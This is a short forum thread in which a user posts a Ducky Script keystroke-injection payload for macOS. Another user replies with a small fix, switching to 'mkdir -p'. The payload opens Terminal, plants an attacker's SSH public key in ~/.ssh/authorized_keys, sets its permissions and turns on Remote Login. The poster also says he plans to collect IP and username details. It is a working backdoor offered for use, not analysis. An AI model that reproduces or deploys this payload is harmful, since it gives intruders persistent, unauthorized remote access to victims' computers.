ESC Posted October 17, 2015 Posted October 17, 2015 This is just an addon to an older script. I added in the enabling of remote login, first i had to enable the keyboard shortcuts so that you could do that. I also create the ssh directories and the proper permissions for them. Eventually im going install the twin duck firmware and grab some ip and username info as well let me know what you think and if you can think of improvements REM Replace 'ssh-rsa' with your public key and have fun REM code by ESC DELAY 1000 COMMAND SPACE DELAY 500 STRING Terminal DELAY 500 ENTER DELAY 800 STRING mkdir ~/.ssh/ DELAY 30 ENTER STRING chmod 700 ~/.ssh DELAY 30 ENTER STRING echo 'ssh-rsa' >> ~/.ssh/authorized_keys DELAY 1500 ENTER STRING chmod 600 ~/.ssh/authorized_keys ENTER DELAY 100 STRING killall Terminal ENTER CONTROL F7 COMMAND SPACE DELAY 100 STRING remote login DELAY 100 ENTER DELAY 75 TAB TAB SPACE COMMAND Q Quote
Sparctor Posted December 16, 2015 Posted December 16, 2015 You might want to change "mkdir" to "mkdir -p" just in case .ssh already exists. Quote
Recommended Posts
Join the conversation
You can post now and register later. If you have an account, sign in now to post with your account.